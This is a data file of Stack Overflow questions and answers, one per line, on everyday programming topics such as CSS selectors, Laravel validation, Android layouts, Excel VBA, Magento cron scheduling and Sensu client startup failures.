20686195	0	 <p>With CSS3 you could also use <code>a[rel="#"] {display:none}</code></p>
20106179	0	 <p>You don't need to confirm password for the login $rules array.</p> <pre><code>$rules = array( 'username' =&gt; 'required|email|exists:users', 'password' =&gt; 'required', ); </code></pre> <p>This should work for the postLogin validation rules.</p>
34420324	0	Ckeditor plugin : how to unwrap text? <p>I have created a ckeditor plugin that wraps the selected text into a span. I wonder how can I unwrap the selected when I apply this plugin on a text that has been previously wrapped into the span.</p> <pre><code>CKEDITOR.plugins.add('important', { // Register the icons. They must match command names. //trick to get a 16*16 icon : http://www.favicomatic.com icons: 'important', init: function (editor) { editor.addCommand('important', { // Define the function that will be fired when the command is executed. exec: function (editor) { var selected_text = editor.getSelection().getSelectedText(); console.log(editor.getSelection()) ; var newElement = new CKEDITOR.dom.element("span"); newElement.setAttributes({class: 'important'}); newElement.setText(selected_text); editor.insertElement(newElement); //how to unwrap the selected text ? }); // Create the toolbar button that executes the above command. editor.ui.addButton('important', { label: 'Set this as important', command: 'important', toolbar: 'insert' }); } }); </code></pre>
35058702	0	 <p>try this way it will help</p> <pre><code>&lt;android.support.v4.widget.DrawerLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:id="@+id/drawer_layout" android:layout_width="match_parent" android:layout_height="match_parent"&gt; &lt;LinearLayout android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical"&gt; &lt;LinearLayout android:id="@+id/container_toolbar" android:layout_width="match_parent" android:layout_height="wrap_content" android:orientation="vertical"&gt; &lt;include android:id="@+id/toolbar" layout="@layout/toolbar" /&gt; &lt;/LinearLayout&gt; &lt;FrameLayout android:id="@+id/container_body" android:layout_width="fill_parent" android:layout_height="0dp" android:layout_weight="1" /&gt; &lt;/LinearLayout&gt; &lt;fragment android:id="@+id/fragment_navigation_drawer" android:name="info.androidhive.materialdesign.activity.FragmentDrawer" android:layout_width="@dimen/nav_drawer_width" android:layout_height="match_parent" android:layout_gravity="start" app:layout="@layout/fragment_navigation_drawer" tools:layout="@layout/fragment_navigation_drawer" /&gt; &lt;/android.support.v4.widget.DrawerLayout&gt; </code></pre>
7829312	0	Why can't post scores via Scores API in Javascript? <p>I'm writing a javascript game library that I want to integrate with Facebook Scores. Games made with my library typically run on static file servers (i.e. just ordinary HTML+JS, no server side scripts).</p> <p>I've been looking at the <a href="http://developers.facebook.com/docs/score/" rel="nofollow">scores documentation</a> and have come across <a href="http://facebook.stackoverflow.com/questions/7211438/how-to-post-a-score-from-the-facebook-javascript-sdk">this problem</a>: you can only submit a score with an app access token.</p> <p>Why?</p> <p>Correct me if I'm wrong, but it seems I can't get an app access token unless I have the app secret, and it seems obvious I should not put the app secret in javascript. For most of these games, server side scripting is out of the question. So I have no way to get an app access token, so none of these games can submit scores.</p> <p>What seems especially dumb is if the user grants the app the "publish_stream" permission, you can automatically make a wall post along the lines of "I just scored 77777 in MySuperGame!". You can do that with just pure HTML+JS. But you can't post a score.</p> <p>Am I missing something or is the API just a bit dumb about this?</p>
32904302	0	Searching a text value in multiple excel files and copying below cell value to master file <p>I was working with a code to extract data from multiple excel files in a folder from muliple cells and paste the extracted values to a master file. For example Name was in cell A9, Phone in cell B6 etc. </p> <p>But now there was change in raw data recived and cell places are changed dynamically. The only thing same through which i can find those values is that through searching by text, if I have to find "Name" I need the code to first find text "Name" and the copy the value below the found cell. That is if "Name" found in cell "A10" then I need the code to copy value "A11", same way find text "Phone" and if text found in cell "B23" copy value of "B24" and so on.</p> <pre><code>Sub Consolidate() Dim wkbkorigin As Workbook Dim originsheet As Worksheet Dim destsheet As Worksheet Dim ResultRow As Long Dim Fname As String Dim RngDest As Range Set destsheet = ThisWorkbook.Worksheets("Extractdata") Set RngDest = destsheet.Cells(Rows.Count, 1).End(xlUp) _ .Offset(1, 0).EntireRow Fname = Dir(ThisWorkbook.Path &amp; "/*.xlsx") 'loop through each file in folder (excluding this one) Do While Fname &lt;&gt; "" And Fname &lt;&gt; ThisWorkbook.Name If Fname &lt;&gt; ThisWorkbook.Name Then Set wkbkorigin = Workbooks.Open(ThisWorkbook.Path &amp; "/" &amp; Fname) Set originsheet = wkbkorigin.Worksheets("Table 1") With RngDest .Cells(1).Value = originsheet.Range("A3").Value .Cells(2).Value = originsheet.Range("C21").Value .Cells(3).Value = originsheet.Range("E21").Value .Cells(4).Value = originsheet.Range("A23").Value .Cells(5).Value = originsheet.Range("A31").Value End With wkbkorigin.Close SaveChanges:=False 'close current file Set RngDest = RngDest.Offset(1, 0) End If Fname = Dir() 'get next file Loop End Sub </code></pre> <p>Kindly help me in making the changes with the below code as i am getting it right to work.</p> <p><a href="https://i.stack.imgur.com/2Ex63.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/2Ex63.jpg" alt="I need the values highlighted in yellow"></a></p> <p>All the values highlighted in yellow needs to be copied. Only thing common is the words or texts above the highlighted cells as range of cells changes as per workbooks.</p>
26631439	0	ReSharper - How to show custom snippet in IntelliSense <p>I've created a custom snippet that contains a shortcut <code>proplto</code>. If I hit Ctrl-K, Ctrl-X and open My Code Snippets I can select my snippet. I can also type <code>proplto</code> in code, hit TAB and the snippet is inserted. However, I can't find a way to display my snippet in IntelliSense. It shows <code>prop</code> and <code>propg</code> but not my <code>proplto</code>. I tried adding my snippet by going to <strong>Resharper > Templates Explorer</strong>, selecting <strong>C#</strong> and importing my snippet file. It says "No templates of type 'Live Templates' found in the file.'</p> <p>VS2013 Ultimate ReSharper 8.2</p>
26108113	0	 <p>Personally I found Stephen Toub's article to be the best source regarding constrained execution regions: <a href="http://msdn.microsoft.com/en-us/magazine/cc163716.aspx#S2" rel="nofollow">Using the Reliability Features of the .NET Framework</a>. And in the end CER are the bread and butter of any fault tolerant code so this article contains pretty much everything you need to know, explained in a clear and concise way.</p> <p>That being said you could rather choose to favor a more radical design where you immediately resort to the destruction of the application domain (or depend on this pattern when the CLR is hosted). You could look at the bulkhead pattern for example (and maybe the <a href="http://www.reactivemanifesto.org/" rel="nofollow">reactive manifesto</a> if you're interested on this pattern and facing complex data flows).</p> <p>That being said, the "let it fail" approach can backfire if you cannot completely recover after that, as <a href="https://www.ima.umn.edu/~arnold/disasters/ariane5rep.html" rel="nofollow">demonstrated by Ariane V</a>.</p>
35812557	0	 <pre><code>var i = 0; var myImg = document.getElementById("img"); function zoomin(){ i++; myImg.style.transform = "scale(1."+ i +")"; } </code></pre> <p>declare i=0; outside function will solve you probleem</p>
28845427	0	Deploy package to multiple IIS sites on same tentacle <p>I am using Octopus Deploy and TeamCity to automate the testing, building, packing, and deployment of a .NET app to multiple servers. Most of the servers have one instance of the app, but a few of them have multiple instances. </p> <p>I cannot figure out the best way to do this, or even if it is reasonably possible in Octopus. </p> <p>Can anyone provide a method to do this? I know I could technically script the entire process in powershell, but it would be nice if I could take advantage of the IIS features of Octopus Deploy.</p>
34427928	0	 <p>Because your you calculate topping cost all all toppings and apply accross all pizza:</p> <pre><code>$(document).on("change","input[type='checkbox']", function() { var checked = $(":checkbox:checked").length; // this value is used for all pizzas, which is incorrect var toppingCost = (.99 * checked); var formID = $(this).closest('div').attr("id"); for(var i = 0; i &lt; pizzaArray.length; i++) { if (pizzaArray[i].pizzaNumber == formID) { pizzaArray[i].toppingCost = toppingCost; calculateCost(); } } }); </code></pre> <p>You should distinguish which topping belongs to which pizza.</p>
38305696	0	 <p>I suspect that with mention of nodejs, there are a bunch of npm packages being downloaded as part of the build. On your local machine, these are already present but Kudu is restoring them in a clean folder every time.</p> <p>Secondly, about 5 mins of your build time is spent on building (and probably running) test projects. Unless intentional and required in deployment workflow, I would recommend turning if off via a flag.</p>
28957660	0	Magento crons with hour in cron expression not scheduling <p>I have been trying to schedule a cron job at 1830 hours daily but it never is scheduled</p> <pre><code>&lt;cron_expr&gt;30 18 * * *&lt;/cron_expr&gt; //This never works &lt;cron_expr&gt;0 18 * * *&lt;/cron_expr&gt; //This also does not work </code></pre> <p>However when I schedule a cron using the minutes expression, it is always scheduled</p> <pre><code>&lt;cron_expr&gt;*/10 * * * *&lt;/cron_expr&gt; //This surprisingly works! </code></pre> <p>I understand that Magento schedules crons using the UTC timezone, and the expressions that I have tried are to do with times in UTC.</p> <p>Can someone help me with what am I missing out?</p>
25017533	0	How to limit the number of objects passed into $firebase object? <p>I'm trying to set the <code>angularjs</code> app with firebase connector angularfire. In my database I have an endless list and I want to display only the last 100 items and any new coming item.</p> <p>according documentation the function <code>$firebase()</code> takes the the <code>Firebase</code> reference as argument with whatever url it was set up with. It automatically loads the content wich can be assigned to <code>$scope</code>. However what happens if there is a very long list of data? is there any option to limit the number of items pulled from <code>firebase</code> the same way as you would do it with when pulling the data directly from Firebase reference with <code>.limit()</code> ? I didn't find anything in angularfire documentation.</p>
6247384	0	 <p>Html attributes are strings. The problem likely arises with how the css interpreter interprets an unquoted number. It would recognize it as a number and not a string, so it could never match a string value of an html attribute. </p> <p>You the would need to enclose the value you are searching for in quotation marks so that it is correctly interpreted as a string, as has been previously suggested. If the value starts with a non-numeric character, it would be tokenized as a string, which is why the first example works.</p> <p><a href="http://www.w3.org/TR/CSS2/selector.html#attribute-selectors" rel="nofollow">http://www.w3.org/TR/CSS2/selector.html#attribute-selectors</a></p>
9000970	0	how to highlight the searched text in textbox using javascript? <p>I am using java script in my application.I want to highlight the search element as well as keep the cursor at the position of search item in textbox. How can I highlight the element using javascript?</p>
11311894	0	 <p>There is a flexible data generator in <a href="http://elki.dbs.ifi.lmu.de/" rel="nofollow">ELKI</a> that can generate various distributions in arbitrary dimensionality. It also can generate Gamma distributed variables, for example.</p> <p>There is documentation on the Wiki: <a href="http://elki.dbs.ifi.lmu.de/wiki/DataSetGenerator" rel="nofollow">http://elki.dbs.ifi.lmu.de/wiki/DataSetGenerator</a></p>
25405877	0	 <p>Your links har taller than the box with the background, so set it as:</p> <pre><code>#menu ul.sub-menu li a{ height:13px } </code></pre> <p>.. and not 25px</p>
29933268	0	 <p>Right before you call this function, add this line.</p> <pre><code>var xml = jQuery.parseXML(xml); </code></pre> <p><em>Note: you might have to play with variable names. Either way, the requirement is that the string must be converted to a <code>XMLObject</code>.</em></p> <p>See if that takes care of it for you.</p>
15631496	0	Issue using bootstrap responsive for tablet and phones <p>I am designing a page using bootstrap responsive for the following image and I'm beginner for using bootstrap responsive..<img src="https://i.stack.imgur.com/ssSyK.png" alt="create_account.png for create_account page"></p> <p>And the html is as follows.</p> <pre><code>&lt;!DOCTYPE HTML&gt; &lt;html&gt; &lt;head&gt; &lt;meta http-equiv="content-type" content="text/html" /&gt; &lt;meta name="author" content="" /&gt; &lt;meta charset="utf-8"&gt; &lt;title&gt;Bootstrap Responsive&lt;/title&gt; &lt;meta content="width=device-width, initial-scale=1.0" name="viewport"&gt; &lt;meta content="" name="description"&gt; &lt;link rel="stylesheet" href="css/bootstrap.min.css"&gt; &lt;link rel="stylesheet" href="css/bootstrap-responsive.min.css"&gt; &lt;style&gt; .container { margin-top: 80px; } #main-form { margin: auto; width: 500px; } .profile-photo { vertical-align: middle; } .form { text-align: center; } .profile-image { width: 100%; height: 100%; } &lt;/style&gt; </code></pre> <p></p> <pre><code>&lt;body&gt; &lt;div class="container"&gt; &lt;div class="row text-center"&gt; &lt;img src="img/slider/1.jpg" width="250px" height="250px" /&gt; &lt;/div&gt; &lt;div class="row text-center"&gt; &lt;h2&gt;Create your account&lt;/h2&gt; &lt;/div&gt; &lt;div class="row"&gt; &lt;div id="main-form"&gt; &lt;div class="span2"&gt; &lt;div class="profile-photo"&gt; &lt;img class="profile-image" src="img/slider/1.jpg" /&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="span3 form"&gt; &lt;div class="widget-container widget-box4"&gt; &lt;div class="control-group"&gt; &lt;div class="controls"&gt; &lt;input type="text" id="inputEmail" placeholder="Username"&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="control-group"&gt; &lt;div class="controls"&gt; &lt;input type="text" id="inputEmail" placeholder="Email"&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="control-group"&gt; &lt;div class="controls"&gt; &lt;input type="password" id="inputPassword" placeholder="Password"&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="control-group"&gt; &lt;div class="controls"&gt; &lt;input type="password" id="inputPassword" placeholder="Confirm Password"&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="control-group"&gt; &lt;div class="controls"&gt; &lt;input type="checkbox"&gt; Remember me &lt;/div&gt; &lt;/div&gt; &lt;div class="control-group"&gt; &lt;div class="controls"&gt; &lt;button type="submit" class="btn"&gt;Sign in&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;script src="js/jquery-1.9.1.min.js"&gt;&lt;/script&gt; &lt;script src="js/bootstrap.min.js"&gt; &lt;script type="text/javascript"&gt; $('.carousel').carousel(); &lt;/script&gt; &lt;/body&gt; </code></pre> <p></p> <p>I wanted it in the middle of the page and I'm getting correctly in Desktop.</p> <p>But problem is the form and profile image are not coming in center.</p> <p>Please help me how to do that?. </p> <p>The work is more appreciated.</p>
38697931	0	 <p>You could use DLookup for this - much simpler:</p> <pre><code>Private Sub cmbConsultant_Change() Me!txtHourlyRate.Value = DLookup("defaultFee", "tblConsultants", "ID = '" &amp; Me!cmbConsultant.Value &amp; "'") End Sub </code></pre> <p>However, most likely your ID is numeric, thus:</p> <pre><code>Private Sub cmbConsultant_Change() Me!txtHourlyRate.Value = DLookup("defaultFee", "tblConsultants", "ID = " &amp; Me!cmbConsultant.Value &amp; "") End Sub </code></pre>
17871476	0	 <p>1)Use <a href="http://docs.oracle.com/javase/tutorial/uiswing/misc/keybinding.html" rel="nofollow">KeyBindings</a> KeyListener has 2 big issues,first you listen to all keys and second you have to have focus and be focusable. Instead KeyBinding you bind for a key and you don't have to be in focus.</p> <p>Simple Example:</p> <pre><code>AbstractAction escapeAction = new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { //code here example ((JComponent)e.getSource()).setVisible(Boolean.FALSE); }}; String key = "ESCAPE"; KeyStroke keyStroke = KeyStroke.getKeyStroke(key); component.getInputMap(JComponent.WHEN_IN_FOCUSED_WINDOW).put(keyStroke, key); component.getActionMap().put(key, escapeAction); </code></pre> <p>You can use these JComponent constants</p> <pre><code>WHEN_ANCESTOR_OF_FOCUSED_COMPONENT WHEN_FOCUSED WHEN_IN_FOCUSED_WINDOW </code></pre> <p>2) Don't use concrete inheritance if it isn't necessary at all.</p> <p>3) Don't implement ActionListener in top classes, see <a href="http://www.oodesign.com/single-responsibility-principle.html" rel="nofollow">Single Responsability Principle</a> Example Change this:</p> <pre><code>public class Board extends JPanel implements ActionListener{ </code></pre> <p>to:</p> <pre><code> public class Board{ private JPanel panel; private class MyActionListener implements ActionListener{ //code here } } </code></pre> <p>4) Don't use inheritance if it's just the same for example in your <code>KeyAdapter</code> , you don't add nothing to it, just use <code>KeyAdapter</code> (Now you are gonna to use keybinding so this is useless but to know :) ). </p> <p>5) Add @Override annotation when you do overriding , also you should override <code>paintComponent(..)</code> instead of <code>paint(..)</code> in swing.</p>
26884313	0	 <p>There is no such tool in existence which can perform above specified tasks.</p> <p>You can easily find tools for capturing screenshots, but you will be not able to view changes done after a specified time. You need to develop a crawler to perform this task. You can pick PHP or .net as technology to handle this task.</p> <p>In case, you have any query, you can let us know anytime.</p> <p>Thank You</p>
32899676	0	 <p>I have filed <a href="http://bugs.python.org/issue25294" rel="nofollow">an issue</a> against Python. The text of this issue is reproduced below:</p> <p>PEP 8 recommends absolute imports over relative imports, and section 5.4.2 of the import documentation says that an import will cause a binding to be placed in the imported module's parent's namespace.</p> <p>However, since (with all current Python versions) this binding is not made until <em>after</em> the module body has been executed, there are cases where relative imports will work fine but absolute imports will fail. Consider the simple case of these five files:</p> <pre><code>xyz.py: import x x/__init__.py: import x.y x/y/__init__.py: import x.y.a x/y/a/__init__.py: import x.y.b; foo = x.y.b.foo x/y/b/__init__.py: foo = 1 </code></pre> <p>This will fail in a fashion that may be very surprising to the uninitiated. It will not fail on any of the import statements; rather it will fail with an AttributeError on the assignment statement in x.y.a, because the import of y has not yet finished, so y has not yet been bound into x.</p> <p>This could conceivably be fixed in the import machinery by performing the binding before performing the exec. Whether it can be done cleanly, so as not to cause compatibility issues with existing loaders, is a question for core maintainers.</p> <p>But if it is decided that the current behavior is acceptable, then at a minimum both the PEP 8 and the import documentation should have an explanation of this corner case and how it can be solved with relative imports.</p>
6663571	0	 <p>From the documentation of <code>array_unique</code></p> <blockquote> <p>Note: Two elements are considered equal if and only if (string) $elem1 === (string) $elem2. In words: when the string representation is the same. The first element will be used.</p> </blockquote> <p>In this case, the objects you're getting out of the XPath query translate to string form like "SimpleXML object" (not exactly like that, but the exact representation is not important). According to the above rules, then, every element looks exactly the same to <code>array_unique</code>.</p> <p>Unfortunately, there's no way to make <code>array_unique</code> behave the way you want, so you will need to fake it yourself:</p> <pre><code>$feeds = array( 'myfeed.xml', 'myfeed.xml' ); // Get all feed entries $entries = array(); foreach ($feeds as $feed) { $xml = simplexml_load_file($feed); $tmp = $xml-&gt;xpath('/rss/channel//item'); foreach ($tmp as $item) { if(!in_array($tmp, $entries)) { $entries[] = $tmp; } } } </code></pre> <p>I'm not sure if this will work, as it depends on being able to compare objects, and also I don't know that identical nodes from separate XML documents would compare the same anyway. But try it, and let me know. I can whip something else up if this doesn't work.</p>
15359507	0	 <p>Simply declare the desired version in you POM where you specify the surefire plugin.</p> <p>As I recall, Maven 3 will actually complain if you don't explicitly specify the desired version for each plugin.</p> <p>E.g:</p> <pre><code>&lt;plugin&gt; &lt;artifactId&gt;maven-surefire-plugin&lt;/artifactId&gt; &lt;version&gt;X.X.X&lt;/version&gt; &lt;/plugin&gt; </code></pre>
37527562	0	 <p>You can use the <a href="http://effbot.org/imagingbook/image.htm#tag-Image.Image.crop" rel="nofollow">crop</a> method from PIL (or PILLOW)</p> <pre><code>from PIL import Image import glob for filename in glob.glob('yourpath/*.tiff'): im = Image.open(filename) w, h = im.size im.crop((0, 30, w-60, h-30)) </code></pre>
15779474	0	selenium run only few methods <p>I know by creating test suite I can run all my class files, using code like</p> <pre><code>suite.addTestSuite( TestCase3.class); suite.addTestSuite( TestCase2.class); suite.addTestSuite( TestCase1.class); </code></pre> <p>But what if I dont want to run all the methods in a class file? I want to run only specific test methods inside a test class, how to do that?</p>
39323229	0	 <p>I don't think this is possible with command line options.</p> <p>If you want you can make a custom annotator and include it in your pipeline you could go that route.</p> <p>Here is some sample code:</p> <pre><code>package edu.stanford.nlp.pipeline; import edu.stanford.nlp.util.logging.Redwood; import edu.stanford.nlp.ling.*; import edu.stanford.nlp.util.concurrent.MulticoreWrapper; import edu.stanford.nlp.util.concurrent.ThreadsafeProcessor; import java.util.*; public class ProvidedPOSTaggerAnnotator { public String tagSeparator; public ProvidedPOSTaggerAnnotator(String annotatorName, Properties props) { tagSeparator = props.getProperty(annotatorName + ".tagSeparator", "_"); } public void annotate(Annotation annotation) { for (CoreLabel token : annotation.get(CoreAnnotations.TokensAnnotation.class)) { int tagSeparatorSplitLength = token.word().split(tagSeparator).length; String posTag = token.word().split(tagSeparator)[tagSeparatorSplitLength-1]; String[] wordParts = Arrays.copyOfRange(token.word().split(tagSeparator), 0, tagSeparatorSplitLength-1); String tokenString = String.join(tagSeparator, wordParts); // set the word with the POS tag removed token.set(CoreAnnotations.TextAnnotation.class, tokenString); // set the POS token.set(CoreAnnotations.PartOfSpeechAnnotation.class, posTag); } } } </code></pre> <p>This should work if you provide your token with POS tokens separated by "_". You can change it with the forcedpos.tagSeparator property.</p> <p>If you set customAnnotator.forcedpos = edu.stanford.nlp.pipeline.ProvidedPOSTaggerAnnotator</p> <p>to the property file, include the above class in your CLASSPATH, and then include "forcedpos" in your list of annotators after "tokenize", you should be able to pass in your own pos tags.</p> <p>I may clean this up some more and actually include it in future releases for people!</p> <p>I have not had time to actually test this code out, if you try it out and find errors please let me know and I'll fix it!</p>
24436121	0	 <p>None of the proposed solutions work to show the original column names, so I'm not sure why people are voting them up... I do have a "hack" that works for the original request, but I really don't like it... That is you actually append or prefix a string onto the query for each column so they are always long enough for the column heading. If you are in an HTML mode, as the poster is, there is little harm by a bit of extra white spacing... It will of course slow down your query abit...</p> <p>e.g.</p> <pre><code>SET ECHO OFF SET PAGESIZE 32766 SET LINESIZE 32766 SET NUMW 20 SET VERIFY OFF SET TERM OFF SET UNDERLINE OFF SET MARKUP HTML ON SET PREFORMAT ON SET WORD_WRAP ON SET WRAP ON SET ENTMAP ON spool '/tmp/Example.html' select (s.ID||' ') AS ID, (s.ORDER_ID||' ') AS ORDER_ID, (s.ORDER_NUMBER||' ') AS ORDER_NUMBER, (s.CONTRACT_ID||' ') AS CONTRACT_ID, (s.CONTRACT_NUMBER||' ') AS CONTRACT_NUMBER, (s.CONTRACT_START_DATE||' ') AS CONTRACT_START_DATE, (s.CONTRACT_END_DATE||' ') AS CONTRACT_END_DATE, (s.CURRENCY_ISO_CODE||' ') AS CURRENCY_ISO_CODE, from Example s order by s.order_number, s.contract_number; spool off; </code></pre> <p>Of course you could write a stored procedure to do something better, but really it seems like overkill for this simple scenario.</p> <p>This still does not meet the original posters request either. In that it requires manually listing on the columns and not using select *. But at least it is solution that works when you are willing to detail out the fields.</p> <p>However, since there really is no problem having too long of fields in HTML, there is an rather simple way to fix Chris's solution to work it this example. That is just pick a use the maximum value oracle will allow. Sadly this still won't really work for EVERY field of every table, unless you explicitly add formatting for every data type. This solution also won't work for joins, since different tables can use the same column name but a different datatype.</p> <pre><code>SET ECHO OFF SET TERMOUT OFF SET FEEDBACK OFF SET PAGESIZE 32766 SET LINESIZE 32766 SET MARKUP HTML OFF SET HEADING OFF spool /tmp/columns_EXAMPLE.sql select 'column ' || column_name || ' format A32766' from all_tab_cols where data_type = 'VARCHAR2' and table_name = 'EXAMPLE' / spool off SET HEADING ON SET NUMW 40 SET VERIFY OFF SET TERM OFF SET UNDERLINE OFF SET MARKUP HTML ON SET PREFORMAT ON SET WORD_WRAP ON SET WRAP ON SET ENTMAP ON @/tmp/columns_EXAMPLE.sql spool '/tmp/Example.html' select * from Example s order by s.order_number, s.contract_number; spool off; </code></pre>
20612022	0	 <p>Try This one, May be help full </p> <pre><code>newView.backgroundColor = [UIColor colorWithPatternImage:[UIImage imageNamed:[NSString stringWithFormat:@"lightwood%d.jpg", indexPath.row]]]; </code></pre> <p>indexPath.row increase one by one and your images name also increasing one by one.... Thanks </p>
36225137	0	sensu-client is failing during start <p>My sensu-client is failing during start (fresh install) and <code>/var/log/sensu/sensu-client.log</code> doesn't show much despite me adding <code>LOG_LEVEL=debug</code> into <code>/etc/default/sensu</code> . I used similar client.json and rabbitmq.json config files (inside /etc/sensu/conf.d) on my other sensu-clients (copied ssl certificates). </p> <pre><code> $ sudo service sensu-client start [FAILED] sensu-client[ OK ] </code></pre> <p>Below is sensu-client log</p> <pre><code>$ tail -f /var/log/sensu/sensu-client.log from /opt/sensu/embedded/lib/ruby/gems/2.0.0/gems/sensu-0.20.3/lib/sensu/daemon.rb:187:in `setup_transport' from /opt/sensu/embedded/lib/ruby/gems/2.0.0/gems/sensu-0.20.3/lib/sensu/client/process.rb:412:in `start' from /opt/sensu/embedded/lib/ruby/gems/2.0.0/gems/sensu-0.20.3/lib/sensu/client/process.rb:19:in `block in run' from /opt/sensu/embedded/lib/ruby/gems/2.0.0/gems/eventmachine-1.0.3/lib/eventmachine.rb:187:in `call' from /opt/sensu/embedded/lib/ruby/gems/2.0.0/gems/eventmachine-1.0.3/lib/eventmachine.rb:187:in `run_machine' from /opt/sensu/embedded/lib/ruby/gems/2.0.0/gems/eventmachine-1.0.3/lib/eventmachine.rb:187:in `run' from /opt/sensu/embedded/lib/ruby/gems/2.0.0/gems/sensu-0.20.3/lib/sensu/client/process.rb:18:in `run' from /opt/sensu/embedded/lib/ruby/gems/2.0.0/gems/sensu-0.20.3/bin/sensu-client:10:in `&lt;top (required)&gt;' from /opt/sensu/bin/sensu-client:23:in `load' from /opt/sensu/bin/sensu-client:23:in `&lt;main&gt;' ^C </code></pre> <p>Here is default config</p> <pre><code>$ cat /etc/default/sensu EMBEDDED_RUBY=false LOG_LEVEL=debug </code></pre> <p>Even reboot of my RHEL7 doesnt help, see log below </p> <pre><code>Mar 25 13:09:24 nms02w sensu-client: Starting sensu-client[ OK ]#015[FAILED] Mar 25 13:09:24 nms02w systemd: sensu-client.service: control process exited, code=exited status=1 Mar 25 13:09:24 nms02w systemd: Unit sensu-client.service entered failed state. Mar 25 13:09:24 nms02w systemd: sensu-client.service failed. </code></pre> <p>Adding more log:</p> <pre><code> systemctl status sensu-client.service ● sensu-client.service - LSB: Sensu monitoring framework client Loaded: loaded (/etc/rc.d/init.d/sensu-client) Active: failed (Result: exit-code) since Fri 2016-03-25 13:09:24 EDT; 1h 47min ago Docs: man:systemd-sysv-generator(8) Process: 948 ExecStart=/etc/rc.d/init.d/sensu-client start (code=exited, status=1/FAILURE) Mar 25 13:09:21 nms02w systemd[1]: Starting LSB: Sensu monitoring framework client... Mar 25 13:09:21 nms02w runuser[983]: pam_unix(runuser:session): session opened for user sensu by (uid=0) Mar 25 13:09:24 nms02w sensu-client[948]: [38B blob data] Mar 25 13:09:24 nms02w systemd[1]: sensu-client.service: control process exited, code=exited status=1 Mar 25 13:09:24 nms02w systemd[1]: Failed to start LSB: Sensu monitoring framework client. Mar 25 13:09:24 nms02w systemd[1]: Unit sensu-client.service entered failed state. Mar 25 13:09:24 nms02w systemd[1]: sensu-client.service failed. </code></pre>
19751863	0	 <p>If you are on windows use MinGW or like most have suggested ggo with GCC on Linux</p> <p>Though ofcourse since it's commandline so you might find Dev-C++ and/or Code::Blocks, Eclipse CDT etc which are IDEs useful for you to make your job simpler.</p> <p>There is no standard and each compiler and it's libraries differ from one another.</p>
27730637	0	add Account(settings) method doesn't start Activity <p>I want to create custom app account in settings.</p> <h1>Problems</h1> <ol> <li>There is an option with icon in <code>settings &gt; Add account</code> but no name</li> <li>When click on that(Add account), <code>AuthenticatorActivity</code> doesn't start. I debug <code>Authenticator</code> class, <code>addAccount</code> method is called but no activity popped.</li> </ol> <p>I did the following steps:</p> <h1>Authenticator class(partial)</h1> <pre><code>public class AccountAuthenticator extends AbstractAccountAuthenticator{ @Override public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException { final Intent intent = new Intent(mContext, AuthenticatorActivity.class); intent.putExtra(AuthenticatorActivity.ARG_ACCOUNT_TYPE, accountType); intent.putExtra(AuthenticatorActivity.ARG_AUTH_TYPE, authTokenType); intent.putExtra(AuthenticatorActivity.ARG_IS_ADDING_NEW_ACCOUNT, true); intent.putExtra(AccountManager.KEY_ACCOUNT_AUTHENTICATOR_RESPONSE, response); final Bundle bundle = new Bundle(); bundle.putParcelable(AccountAuthenticator.KEY_INTENT, intent); return bundle; } } </code></pre> <h1>AuthenticatorService</h1> <pre><code>public class AuthenticatorService extends Service{ @Override public IBinder onBind(Intent intent) { authenticator = new AccountAuthenticator(this); return authenticator.getIBinder(); } } </code></pre> <h1>manifest</h1> <pre><code>&lt;service android:name="com.voillo.utils.AuthenticatorService" android:exported="false" android:label="@string/app_name"&gt; &lt;intent-filter&gt; &lt;action android:name="android.accounts.AccountAuthenticator" /&gt; &lt;/intent-filter&gt; &lt;meta-data android:name="android.accounts.AccountAuthenticator" android:resource="@xml/authenticator" /&gt; &lt;/service&gt; </code></pre> <h1>authenticator xml</h1> <pre><code>&lt;account-authenticator xmlns:android="http://schemas.android.com/apk/res/android" android:accountType="com.example.myapp" android:icon="@drawable/myapp_icon" android:smallIcon="@drawable/myapp_icon_small" android:label="myapp" /&gt; </code></pre>
16894022	0	 <p>You can do it by making changes in the ps_order_detail table. In that table, PS stores all information for an ordered product like product id, name, product purchased quantities etc etc.</p> <p>There is a column named <strong>product_quantity</strong>, change it and it will change the number of products bought. </p>
28698609	0	 <p>I suggest you try this:</p> <p>Add this permutation of your compound index.</p> <pre><code> (campaign_id,domain,log_time,log_type,subscriber_id) </code></pre> <p>Change your query to remove the <code>WHERE log_type IN()</code> criterion, thus allowing the aggregate function to use all the records it finds in the range scan on <code>log_time</code>. Including <code>subscriber_id</code> in the index should allow the whole query to be satisfied directly from the index. That is, this is a <em>covering index</em>.</p> <p>Finally, you can filter on your <code>log_type</code> values by wrapping the whole query in </p> <pre><code> SELECT * FROM (/*the whole query*/) x WHERE log_type IN ('EMAIL_SENT', 'EMAIL_CLICKED', 'EMAIL_OPENED', 'UNSUBSCRIBED') ORDER BY log_type </code></pre> <p>This should give you better, and more predictable, performance.</p> <p>(Unless the log_types you want are a tiny subset of the records, in which case please ignore this suggestion.)</p>
8417342	0	How to get all the ids of elements inside a list using jquery <p>I've a list as</p> <pre><code>&lt;ul id="list"&gt; &lt;li id="one"&gt;&lt;/li&gt; &lt;li id="two"&gt;&lt;/li&gt; &lt;li id="three"&gt;&lt;/li&gt; ..... .... .... &lt;/ul&gt; </code></pre> <p>I want to get the <code>ids</code> of every <code>li</code> element inside the <code>ul#list</code>. Since the number of <code>li</code> item is unknown, I would want to go through a loop for as long as an <code>li</code> item exist. Something like</p> <pre><code>while($('#list li') exists){ //Get id of the element } </code></pre> <p>Can anyone help me with this?</p>
28383735	0	 <p>Hy, my answer is late but it seems that *.php page is not support... Try using *.html and it should work.</p> <p>Maybe I'm wrong and in this case, <strong>please give to us the solution</strong>.</p> <p>Regards,</p>
